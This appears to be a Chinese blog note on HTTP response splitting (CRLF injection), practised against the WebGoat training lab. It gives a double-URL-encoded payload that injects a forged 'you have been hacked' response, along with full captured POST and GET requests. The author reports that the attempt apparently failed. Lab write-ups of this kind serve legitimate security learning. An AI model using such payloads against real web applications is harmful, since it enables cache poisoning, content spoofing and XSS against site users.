HTTP 拆分響應漏洞 (http splitting)


原理: HTTP 拆分響應攻擊 也叫 CRLF 攻擊    

利用數據包中的%0d 換行符 %0a 回車 在一個數據包中再構造一個數據包 

服務器解析 會返回2個響應包 第一個是正常響應包 第二個為 攻擊者構造好的響應包 

危害:1.構造XSS   可以獲取很多別人服務器上的信息 刺激

2.污染緩存   緩存污染,欺騙緩存,使其相信使用HTTP拆分劫持的頁面是一個很正常的頁面,是一個服務器的副本 

3.構造CSRF 可以讓受害者 跳轉到我們指定的網頁 比如轉錢什么的  前提是他當前瀏覽器 已經登陸了賬戶 我們劫持了后 他用代理服務器訪問時 會訪問我們劫持的轉錢頁面 從而使得 嗯 對

 

也就是 可利用這個漏洞 結合其他很多漏洞進行組合攻擊

 這里玩的靶場是 webgoat  很老的一個洞了

官方原理:攻擊者在向 Web 服務器正常輸入的請求中加入惡意代碼,受到攻擊的應用不會檢查CR(回車,也可表示為%0d或\r)和LF(換行,也可表示為%0a或\n)

每個數據包鍵值后用 了 %0d %0a  實現一次換行 回車   

這個要自己試了 理解才更清晰點  owaspbwa webgoat  靶場

POST請求好像就應該在數據里面進行%0d%0a 轉義換行回車 

而GET請求 可在 url中進行轉義 這樣 響應就被拆分成了2個數據包 

注意轉義要用2次url 編碼 為什么 ?  第一次url編碼 是提交時要用的  第二次是服務器解析用的

正常情況提交數據 瀏覽器會對數據進行一次url編碼 數據到服務端 服務端會對收到的數據進行解碼

狠麻煩 容易搞錯

http數據包格式狠容易錯的

第一次url編碼 無論是使用在線編碼還是用burp encode 進行編碼 都容易出問題 

還是自己構造好  就是麻煩

china
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT
Content-Length: 47

you have been hacked

這里每個換行 都有 url編碼 %0d%0a

寫腳本也行 手工也行  這個網站靠譜點:http://www.jsons.cn/urlencode/

url編碼后 放在記事本 選擇替換 把 %0A 換成%0D%0A 

然后再進行一次url編碼
burp 抓包

POST /WebGoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: 192.168.202.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://192.168.202.134
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Connection: close
Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1

language=china%250D%250AContent-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250AContent-Type%253A%2520text%252Fhtml%250D%250ALast-Modified%253A%2520Mon%252C%252027%2520Oct%25202099%252014%253A50%253A18%2520GMT%250D%250AContent-Length%253A%252047%250D%250A%250D%250Ayou%2520have%2520been%2520hacked&SUBMIT=Search%21

 

獲取到我們的相應包 繼續轉發

GET /WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=china%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202099%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0Ayou%20have%20been%20hacked HTTP/1.1
Host: 192.168.202.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Connection: close
Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1

 理論上應該成功了的

參考 https://www.cnblogs.com/arlenhou/articles/webgoatsplittinghttp.html

看了看 別人的博客 真就抄了又抄唄  其實就只看了作者 的 其他的抄的根本沒有理解

再來 爺還不信了 

要不就是webgoat 有bug 要不就是我代碼錯了 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM